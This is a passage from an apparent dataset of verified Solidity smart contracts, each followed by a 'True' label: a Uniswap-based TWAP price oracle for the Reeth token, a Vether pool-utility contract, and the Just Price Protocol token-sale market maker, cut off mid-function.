_value; emit Approval(msg.sender, _spender, _value); return true; } /// @notice transfer by approved person from original address of an amount within approved limit /// @param _from, address sending to and the amount to send /// @param _to receiver of token /// @param _value amount value of token to send /// @dev internal helper transfer function with required safety checks /// @return true, success once transfered from original account // Allow _spender to spend up to _value on your behalf function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_value <= balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value); _transfer(_from, _to, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-07-02 */ // Price Oracle for Reeth Token // This contract uses Uniswap v2 TWAP to obtain the token price // It initially uses 10 minute averages but can be updated on the fly by governance pragma solidity =0.6.6; interface UniswapV2Pair { function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function getReserves() external view returns (uint112, uint112, uint32); } contract ReethPriceOracle { address public owner; bool private _firstCapture = true; uint256 private _reethDecimals = 18; // Same as YAM uint256 private _reethETHPrice = 0; uint256 private _reethPriceWindow = 0; // The time period this price was calculated over, determines its weight uint256 private _tokenIndex = 0; uint256 public lastREETHPriceUpdate; // The last time the price was updated uint256 public updateFrequency = 10 minutes; // Oracle can be updated at least every 10 minutes uint256 constant DIVISION_FACTOR = 100000; // TWAP details address public mainLiquidity; uint256 private lastTWAPCumulativePrice; uint32 private lastTWAPBlockTime; uint256 private lastTWAPPrice; // Events event NoLiquidity(); event FirstPriceCapture(); // First time price update is called, must wait til another time to update event FailedPriceCapture(); // Not quick enough price movement for a twap to be calculated constructor() public { owner = msg.sender; } modifier onlyGovernance() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function changeLiquidityToken(address _lp, uint256 _pos) internal { mainLiquidity = _lp; _tokenIndex = _pos; _reethETHPrice = 0; _reethPriceWindow = 0; lastTWAPBlockTime = 0; lastTWAPCumulativePrice = 0; lastREETHPriceUpdate = 0; _firstCapture = true; } function getLatestREETHPrice() external view returns (uint256) { // Returns the stored price with 18 decimals of precision return _reethETHPrice; } // This function can be called manually but will most likely be called by the monetary policy upon token transfers most often function updateREETHPrice() external { if(mainLiquidity == address(0)) { return; } if(now < lastREETHPriceUpdate + updateFrequency){ return; } // Do nothing if update is called too soon uint256 period = now - lastREETHPriceUpdate; // Get the time between the last update and now lastREETHPriceUpdate = now; // We will use a combination of the Twap and weighted averages to determine the current price UniswapV2Pair pair = UniswapV2Pair(mainLiquidity); (, uint112 reserve1, uint32 _blockTime) = pair.getReserves(); if(reserve1 == 0){ // Liquidity is gone/non-existant, can't update the price // Reset the oracle _reethETHPrice = 0; _reethPriceWindow = 0; lastTWAPBlockTime = 0; lastTWAPCumulativePrice = 0; _firstCapture = true; emit NoLiquidity(); return; } if(lastTWAPBlockTime != _blockTime){ // Uniswap twap price has updated, update our twap price if(_firstCapture == true){ // Never had a price before, save the price accumulators if(_tokenIndex == 0){ lastTWAPCumulativePrice = pair.price0CumulativeLast(); }else{ lastTWAPCumulativePrice = pair.price1CumulativeLast(); } lastTWAPBlockTime = _blockTime; _firstCapture = false; emit FirstPriceCapture(); return; }else{ // We already have a price cumulative, capture a new price uint256 cumuPrice = 0; if(_tokenIndex == 0){ cumuPrice = pair.price0CumulativeLast(); }else{ cumuPrice = pair.price1CumulativeLast(); } // This is price in relationship to base pair lastTWAPPrice = ((cumuPrice - lastTWAPCumulativePrice) / (_blockTime - lastTWAPBlockTime) * (10**_reethDecimals)) >> 112; lastTWAPCumulativePrice = cumuPrice; lastTWAPBlockTime = _blockTime; } } if(lastTWAPPrice == 0){ // Still no price calculation possible since no action on trading pair since last call emit FailedPriceCapture(); return; } if(_reethPriceWindow == 0){ // First time price is calculated, set it to the twap price _reethPriceWindow = updateFrequency; _reethETHPrice = lastTWAPPrice; }else{ // There is already a price window and price, use weighted averages to determine the weight uint256 price = lastTWAPPrice; _reethETHPrice = (_reethETHPrice * (_reethPriceWindow * DIVISION_FACTOR / (_reethPriceWindow + period)) / DIVISION_FACTOR); _reethETHPrice += (price * (period * DIVISION_FACTOR / (_reethPriceWindow + period)) / DIVISION_FACTOR); _reethPriceWindow = period; // Set the window to the new period } } // Governance function governanceChangeFrequency(uint256 _freq) external onlyGovernance { updateFrequency = _freq; } // Timelock variables uint256 private _timelockStart; // The start of the timelock to change governance variables uint256 private _timelockType; // The function that needs to be changed uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours // Reusable timelock variables address private _timelock_address; uint256 private _timelock_data; modifier timelockConditionsMet(uint256 _type) { require(_timelockType == _type, "Timelock not acquired for this function"); _timelockType = 0; // Reset the type once the timelock is used require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met"); _; } // Change the owner of the token contract // -------------------- function startGovernanceChange(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 1; _timelock_address = _address; } function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) { owner = _timelock_address; } // -------------------- // Update main liquidity token pair // -------------------- function startUpdateLiquidityToken(address _address, uint256 _index) external onlyGovernance { _timelockStart = now; _timelockType = 2; _timelock_address = _address; _timelock_data = _index; if(mainLiquidity == address(0)){ changeLiquidityToken(_address, _index); _timelockType = 0; } } function finishUpdateLiquidityToken() external onlyGovernance timelockConditionsMet(2) { changeLiquidityToken(_timelock_address, _timelock_data); } // -------------------- }

True

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// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.8; pragma experimental ABIEncoderV2; interface iERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); } interface iROUTER { function totalStaked() external view returns (uint); function totalVolume() external view returns (uint); function totalFees() external view returns (uint); function unstakeTx() external view returns (uint); function stakeTx() external view returns (uint); function swapTx() external view returns (uint); function tokenCount() external view returns(uint); function getToken(uint) external view returns(address); function getPool(address) external view returns(address payable); function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units); } interface iPOOL { function genesis() external view returns(uint); function baseAmt() external view returns(uint); function tokenAmt() external view returns(uint); function baseAmtStaked() external view returns(uint); function tokenAmtStaked() external view returns(uint); function fees() external view returns(uint); function volume() external view returns(uint); function txCount() external view returns(uint); function getBaseAmtStaked(address) external view returns(uint); function getTokenAmtStaked(address) external view returns(uint); function calcValueInBase(uint) external view returns (uint); function calcValueInToken(uint) external view returns (uint); function calcTokenPPinBase(uint) external view returns (uint); function calcBasePPinToken(uint) external view returns (uint); } interface iDAO { function ROUTER() external view returns(address); } // SafeMath library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Utils_Vether { using SafeMath for uint; address public BASE; address public DEPLOYER; iDAO public DAO; struct TokenDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; } struct ListedAssetDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; bool hasClaimed; } struct GlobalDetails { uint totalStaked; uint totalVolume; uint totalFees; uint unstakeTx; uint stakeTx; uint swapTx; } struct PoolDataStruct { address tokenAddress; address poolAddress; uint genesis; uint baseAmt; uint tokenAmt; uint baseAmtStaked; uint tokenAmtStaked; uint fees; uint volume; uint txCount; uint poolUnits; } // Only Deployer can execute modifier onlyDeployer() { require(msg.sender == DEPLOYER, "DeployerErr"); _; } constructor () public payable { BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; DEPLOYER = msg.sender; } function setGenesisDao(address dao) public onlyDeployer { DAO = iDAO(dao); } //====================================DATA-HELPERS====================================// function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){ return getTokenDetailsWithMember(token, msg.sender); } function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){ if(token == address(0)){ tokenDetails.name = 'Ethereum'; tokenDetails.symbol = 'ETH'; tokenDetails.decimals = 18; tokenDetails.totalSupply = 100000000 * 10**18; tokenDetails.balance = msg.sender.balance; } else { tokenDetails.name = iERC20(token).name(); tokenDetails.symbol = iERC20(token).symbol(); tokenDetails.decimals = iERC20(token).decimals(); tokenDetails.totalSupply = iERC20(token).totalSupply(); tokenDetails.balance = iERC20(token).balanceOf(member); } tokenDetails.tokenAddress = token; return tokenDetails; } function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){ globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked(); globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume(); globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees(); globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx(); globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx(); globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx(); return globalDetails; } function getPool(address token) public view returns(address payable pool){ return iROUTER(DAO.ROUTER()).getPool(token); } function tokenCount() public view returns (uint256 count){ return iROUTER(DAO.ROUTER()).tokenCount(); } function allTokens() public view returns (address[] memory _allTokens){ return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ; } function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i < count; i++){ result[i] = iROUTER(DAO.ROUTER()).getToken(i); } return result; } function allPools() public view returns (address[] memory _allPools){ return poolsInRange(0, tokenCount()); } function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i<count; i++){ result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i)); } return result; } function getPoolData(address token) public view returns(PoolDataStruct memory poolData){ address payable pool = getPool(token); poolData.poolAddress = pool; poolData.tokenAddress = token; poolData.genesis = iPOOL(pool).genesis(); poolData.baseAmt = iPOOL(pool).baseAmt(); poolData.tokenAmt = iPOOL(pool).tokenAmt(); poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked(); poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked(); poolData.fees = iPOOL(pool).fees(); poolData.volume = iPOOL(pool).volume(); poolData.txCount = iPOOL(pool).txCount(); poolData.poolUnits = iERC20(pool).totalSupply(); return poolData; } function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){ address pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return getPoolShare(token, units); } function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){ address payable pool = getPool(token); baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); return (baseAmt, tokenAmt); } function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); } function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); } function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){ address payable pool = getPool(token); if(toBase){ baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = 0; outputAmt = baseAmt; } else { baseAmt = 0; tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); outputAmt = tokenAmt; } return (baseAmt, tokenAmt, outputAmt); } function getPoolAge(address token) public view returns (uint daysSinceGenesis){ address payable pool = getPool(token); uint genesis = iPOOL(pool).genesis(); if(now < genesis.add(86400)){ return 1; } else { return (now.sub(genesis)).div(86400); } } function getPoolROI(address token) public view returns (uint roi){ address payable pool = getPool(token); uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2); uint _baseEnd = iPOOL(pool).baseAmt().mul(2); uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart); uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2); uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2); uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart); return (_ROIS + _ROIA).div(2); } function getPoolAPY(address token) public view returns (uint apy){ uint avgROI = getPoolROI(token); uint poolAge = getPoolAge(token); return (avgROI.mul(365)).div(poolAge); } function isMember(address token, address member) public view returns(bool){ address payable pool = getPool(token); if (iERC20(pool).balanceOf(member) > 0){ return true; } else { return false; } } //====================================PRICING====================================// function calcValueInBase(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInToken(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInTokenWithPool(pool, amount); } function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcTokenPPinBaseWithPool(pool, amount); } function calcBasePPinToken(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_baseAmt)).div(_tokenAmt); } function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_tokenAmt)).div(_baseAmt); } function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _tokenAmt, _baseAmt); } function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _baseAmt, _tokenAmt); } //====================================CORE-MATH====================================// function calcPart(uint bp, uint total) public pure returns (uint part){ // 10,000 basis points = 100.00% require((bp <= 10000) && (bp > 0), "Must be correct BP"); return calcShare(bp, 10000, total); } function calcShare(uint part, uint total, uint amount) public pure returns (uint share){ // share = amount * part/total return(amount.mul(part)).div(total); } function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * X * Y )/(x + X)^2 uint numerator = x.mul(X.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * x * Y) / (x + X)^2 uint numerator = x.mul(x.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcStakeUnits(uint b, uint B, uint t, uint T) public pure returns (uint units){ // units = ((T + B) * (t * B + T * b))/(4 * T * B) // (part1 * (part2 + part3)) / part4 uint part1 = T.add(B); uint part2 = t.mul(B); uint part3 = T.mul(b); uint numerator = part1.mul((part2.add(part3))); uint part4 = 4 * (T.mul(B)); return numerator.div(part4); } function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){ // share = (u * U * (2 * A^2 - 2 * U * u + U^2))/U^3 // (part1 * (part2 - part3 + part4)) / part5 uint part1 = u.mul(A); uint part2 = U.mul(U).mul(2); uint part3 = U.mul(u).mul(2); uint part4 = u.mul(u); uint numerator = part1.mul(part2.sub(part3).add(part4)); uint part5 = U.mul(U).mul(U); return numerator.div(part5); } }

True

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/* * Just Price Protocol Smart Contract. * Copyright © 2018 by ABDK Consulting. * Author: Mikhail Vladimirov <<span class="__cf_email__" data-cfemail="d3bebab8bbb2babffda5bfb2b7babebaa1bca593b4beb2babffdb0bcbe">[email protected]</span>> */ pragma solidity ^0.4.20; //import "./SafeMath.sol"; //import "./OrgonToken.sol"; //import "./OrisSpace.sol"; contract SafeMath { uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Add two uint256 values, throw in case of overflow. * * @param x first value to add * @param y second value to add * @return x + y */ function safeAdd (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x <= MAX_UINT256 - y); return x + y; } /** * Subtract one uint256 value from another, throw in case of underflow. * * @param x value to subtract from * @param y value to subtract * @return x - y */ function safeSub (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x >= y); return x - y; } /** * Multiply two uint256 values, throw in case of overflow. * * @param x first value to multiply * @param y second value to multiply * @return x * y */ function safeMul (uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; // Prevent division by zero at the next line assert (x <= MAX_UINT256 / y); return x * y; } } contract Token { /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () public view returns (uint256 supply); /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf (address _owner) public view returns (uint256 balance); /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) public returns (bool success); /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) public returns (bool success); /** * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success); /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance (address _owner, address _spender) public view returns (uint256 remaining); /** * Logged when tokens were transferred from one owner to another. * * @param _from address of the owner, tokens were transferred from * @param _to address of the owner, tokens were transferred to * @param _value number of tokens transferred */ event Transfer (address indexed _from, address indexed _to, uint256 _value); /** * Logged when owner approved his tokens to be transferred by some spender. * * @param _owner owner who approved his tokens to be transferred * @param _spender spender who were allowed to transfer the tokens belonging * to the owner * @param _value number of tokens belonging to the owner, approved to be * transferred by the spender */ event Approval ( address indexed _owner, address indexed _spender, uint256 _value); } contract OrisSpace { /** * Start Oris Space smart contract. * * @param _returnAmount amount of tokens to return to message sender. */ function start (uint256 _returnAmount) public; } contract OrgonToken is Token { /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens (uint256 _value) public returns (bool); /** * Burn given number of tokens belonging to message sender. * May only be called by smart contract owner. * * @param _value number of tokens to burn * @return true on success, false on error */ function burnTokens (uint256 _value) public returns (bool); } /** * Just Price Protocol Smart Contract that serves as market maker for Orgon * tokens. */ contract JustPriceProtocol is SafeMath { /** * 2^128. */ uint256 internal constant TWO_128 = 0x100000000000000000000000000000000; /** * Sale start time (2018-04-19 06:00:00 UTC) */ uint256 internal constant SALE_START_TIME = 1524117600; /** * "Reserve" stage deadline (2018-07-08 00:00:00 UTC) */ uint256 internal constant RESERVE_DEADLINE = 1531008000; /** * Maximum amount to be collected during "reserve" stage. */ uint256 internal constant RESERVE_MAX_AMOUNT = 72500 ether; /** * Minimum amount to be collected during "reserve" stage. */ uint256 internal constant RESERVE_MIN_AMOUNT = 30000 ether; /** * Maximum number of tokens to be sold during "reserve" stage. */ uint256 internal constant RESERVE_MAX_TOKENS = 82881476.72e9; /** * ORNG/ETH ratio after "reserve" stage in Wei per ORGN unit. */ uint256 internal constant RESERVE_RATIO = 72500 ether / 725000000e9; /** * Maximum amount of ETH to collect at price 1. */ uint256 internal constant RESERVE_THRESHOLD_1 = 10000 ether; /** * Price 1 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_1 = 0.00080 ether / 1e9; /** * Maximum amount of ETH to collect at price 2. */ uint256 internal constant RESERVE_THRESHOLD_2 = 20000 ether; /** * Price 2 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_2 = 0.00082 ether / 1e9; /** * Maximum amount of ETH to collect at price 3. */ uint256 internal constant RESERVE_THRESHOLD_3 = 30000 ether; /** * Price 3 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_3 = 0.00085 ether / 1e9; /** * Maximum amount of ETH to collect at price 4. */ uint256 internal constant RESERVE_THRESHOLD_4 = 40000 ether; /** * Price 4 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_4 = 0.00088 ether / 1e9; /** * Maximum amount of ETH to collect at price 5. */ uint256 internal constant RESERVE_THRESHOLD_5 = 50000 ether; /** * Price 5 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_5 = 0.00090 ether / 1e9; /** * Maximum amount of ETH to collect at price 6. */ uint256 internal constant RESERVE_THRESHOLD_6 = 60000 ether; /** * Price 6 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_6 = 0.00092 ether / 1e9; /** * Maximum amount of ETH to collect at price 7. */ uint256 internal constant RESERVE_THRESHOLD_7 = 70000 ether; /** * Price 7 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_7 = 0.00095 ether / 1e9; /** * Maximum amount of ETH to collect at price 8. */ uint256 internal constant RESERVE_THRESHOLD_8 = 72500 ether; /** * Price 8 in Wei per ORGN unit. */ uint256 internal constant RESERVE_PRICE_8 = 0.00098 ether / 1e9; /** * "Growth" stage ends once this many tokens were issued. */ uint256 internal constant GROWTH_MAX_TOKENS = 1000000000e9; /** * Maximum duration of "growth" stage. */ uint256 internal constant GROWTH_MAX_DURATION = 285 days; /** * Numerator of fraction of tokens bought at "reserve" stage to be delivered * before "growth" stage start. */ uint256 internal constant GROWTH_MIN_DELIVERED_NUMERATOR = 75; /** * Denominator of fraction of tokens bought at "reserve" stage to be delivered * before "growth" stage start. */ uint256 internal constant GROWTH_MIN_DELIVERED_DENOMINATIOR = 100; /** * Numerator of fraction of total votes to be given to a new K1 address for * vote to succeed. */ uint256 internal constant REQUIRED_VOTES_NUMERATIOR = 51; /** * Denominator of fraction of total votes to be given to a new K1 address for * vote to succeed. */ uint256 internal constant REQUIRED_VOTES_DENOMINATOR = 100; /** * Fee denominator (1 / 20000 = 0.00005). */ uint256 internal constant FEE_DENOMINATOR = 20000; /** * Delay after start of "growth" stage before fee may be changed. */ uint256 internal constant FEE_CHANGE_DELAY = 650 days; /** * Minimum fee (1 / 20000 = 0.0005). */ uint256 internal constant MIN_FEE = 1; /** * Maximum fee (2000 / 20000 = 0.1). */ uint256 internal constant MAX_FEE = 2000; /** * Deploy Just Price Protocol smart contract with given Orgon Token, * Oris Space, and K1 wallet. * * @param _orgonToken Orgon Token to use * @param _orisSpace Oris Space to use * @param _k1 address of K1 wallet */ function JustPriceProtocol ( OrgonToken _orgonToken, OrisSpace _orisSpace, address _k1) public { orgonToken = _orgonToken; orisSpace = _orisSpace; k1 = _k1; } /** * When called with no data does the same as buyTokens (). */ function () public payable { require (msg.data.length == 0); buyTokens (); } /** * Buy tokens. */ function buyTokens () public payable { require (msg.value > 0); updateStage (); if (stage == Stage.RESERVE) buyTokensReserve (); else if (stage == Stage.GROWTH || stage == Stage.LIFE) buyTokensGrowthLife (); else revert (); // No buying in current stage } /** * Sell tokens. * * @param _value number of tokens to sell */ function sellTokens (uint256 _value) public { require (_value > 0); require (_value < TWO_128); updateStage (); require (stage == Stage.LIFE); assert (reserveAmount < TWO_128); uint256 totalSupply = orgonToken.totalSupply (); require (totalSupply < TWO_128); require (_value <= totalSupply); uint256 toPay = safeMul ( reserveAmount, safeSub ( TWO_128, pow_10 (safeSub (TWO_128, (_value << 128) / totalSupply)))) >> 128; require (orgonToken.transferFrom (msg.sender, this, _value)); require (orgonToken.burnTokens (_value)); reserveAmount = safeSub (reserveAmount, toPay); msg.sender.transfer (toPay); } /** * Deliver tokens sold during "reserve" stage to corresponding investors. * * @param _investors addresses of investors to deliver tokens to */ function deliver (address [] _investors) public { updateStage (); require ( stage == Stage.BEFORE_GROWTH || stage == Stage.GROWTH || stage == Stage.LIFE); for (uint256 i = 0; i < _investors.length; i++) { address investorAddress = _investors [i]; Investor storage investor = investors [investorAddress]; uint256 toDeliver = investor.tokensBought; investor.tokensBought = 0; investor.etherInvested = 0; if (toDeliver > 0) { require (orgonToken.transfer (investorAddress, toDeliver)); reserveTokensDelivered = safeAdd (reserveTokensDelivered, toDeliver); Delivery (investorAddress, toDeliver); } } if (stage == Stage.BEFORE_GROWTH && safeMul (reserveTokensDelivered, GROWTH_MIN_DELIVERED_DENOMINATIOR) >= safeMul (reserveTokensSold, GROWTH_MIN_DELIVERED_NUMERATOR)) { stage = Stage.GROWTH; growthDeadline = currentTime () + GROWTH_MAX_DURATION; feeChangeEnableTime = currentTime () + FEE_CHANGE_DELAY; } } /** * Refund investors who bought tokens during "reserve" stage. * * @param _investors addresses of investors to refund */ function refund (address [] _investors) public { updateStage (); require (stage == Stage.REFUND); for (uint256 i = 0; i < _investors.length; i++) { address investorAddress = _investors [i]; Investor storage investor = investors [investorAddress]; uint256 toBurn = investor.tokensBought; uint256 toRefund = investor.etherInvested; investor.tokensBought = 0; investor.etherInvested = 0; if (toBurn > 0) require (orgonToken.burnTokens (toBurn)); if (toRefund > 0) { investorAddress.transfer (toRefund); Refund (investorAddress, toRefund); } } } function vote (address _newK1) public { updateStage (); require (stage == Stage.LIFE); require (!k1Changed); uint256 votesCount = voteNumbers [msg.sender]; if (votesCount > 0) { address oldK1 = votes [msg.sender]; if (_newK1 != oldK1) { if (oldK1 != address (0)) { voteResults [oldK1] = safeSub (voteResults [oldK1], votesCount); VoteRevocation (msg.sender, oldK1, votesCount); } votes [msg.sender] = _newK1; if (_newK1 != address (0)) { voteResults [_newK1] = safeAdd (voteResults [_newK1], votesCount); Vote (msg.sender, _newK1, votesCount); if (safeMul (voteResults [_newK1], REQUIRED_VOTES_DENOMINATOR) >= safeMul (totalVotesNumber, REQUIRED_VOTES_NUMERATIOR)) { k1 = _newK1; k1Changed = true; K1Change (_newK1); } } } } } /** * Set new fee numerator. * * @param _fee new fee numerator. */ function setFee (uint256 _fee) public { require (msg.sender == k1); require (_fee >= MIN_FEE); require (_fee <= MAX_FEE); updateStage (); require (stage == Stage.GROWTH || stage == Stage.LIFE); require (currentTime () >= feeChangeEnableTime); require (safeSub (_fee, 1) <= fee); require (safeAdd (_fee, 1) >= fee); if (fee != _fee) { fee = _fee; FeeChange (_fee); } } /** * Get number of tokens bought by given investor during reserve stage that are * not yet delivered to him. * * @param _investor address of investor to get number of outstanding tokens * for * @return number of non-delivered tokens given investor bought during reserve * stage */ function outstandingTokens (address _investor) public view returns (uint256) { return investors [_investor].tokensBought; } /** * Get current stage of Just Price Protocol. * * @param _currentTime current time in seconds since epoch * @return current stage of Just Price Protocol */ function getStage (uint256 _currentTime) public view returns (Stage) { Stage currentStage = stage; if (currentStage == Stage.BEFORE_RESERVE) { if (_currentTime >= SALE_START_TIME) currentStage = Stage.RESERVE; else return currentStage; } if (currentStage == Stage.RESERVE) { if (_currentTime >= RESERVE_DEADLINE) { if (reserveAmount >= RESERVE_MIN_AMOUNT) currentStage = Stage.BEFORE_GROWTH; else currentStage = Stage.REFUND; } return currentStage; } if (currentStage == Stage.GROWTH) { if (_currentTime >= growthDeadline) { currentStage = Stage.LIFE; } } return currentStage; } /** * Return total number of votes eligible for choosing new K1 address. * * @return total number of votes eligible for choosing new K1 address */ function totalEligibleVotes () public view returns (uint256) { return totalVotesNumber; } /** * Return number of votes eligible for choosing new K1 address given investor * has. * * @param _investor address of investor to get number of eligible votes of * @return Number of eligible votes given investor has */ function eligibleVotes (address _investor) public view returns (uint256) { return voteNumbers [_investor]; } /** * Get number of votes for the given new K1 address. * * @param _newK1 new K1 address to get number of votes for * @return number of votes for the given new K1 address */ function votesFor (address _newK1) public view returns (uint256) { return voteResults [_newK1]; } /** * Buy tokens during "reserve" stage. */ function buyTokensReserve () internal { require (stage == Stage.RESERVE); uint256 toBuy = 0; uint256 toRefund = msg.value; uint256 etherInvested = 0; uint256 tokens; uint256 tokensValue; if (reserveAmount < RESERVE_THRESHOLD_1) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_1, reserveAmount)) / RESERVE_PRICE_1; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_1); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_2) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_2, reserveAmount)) / RESERVE_PRICE_2; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_2); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, 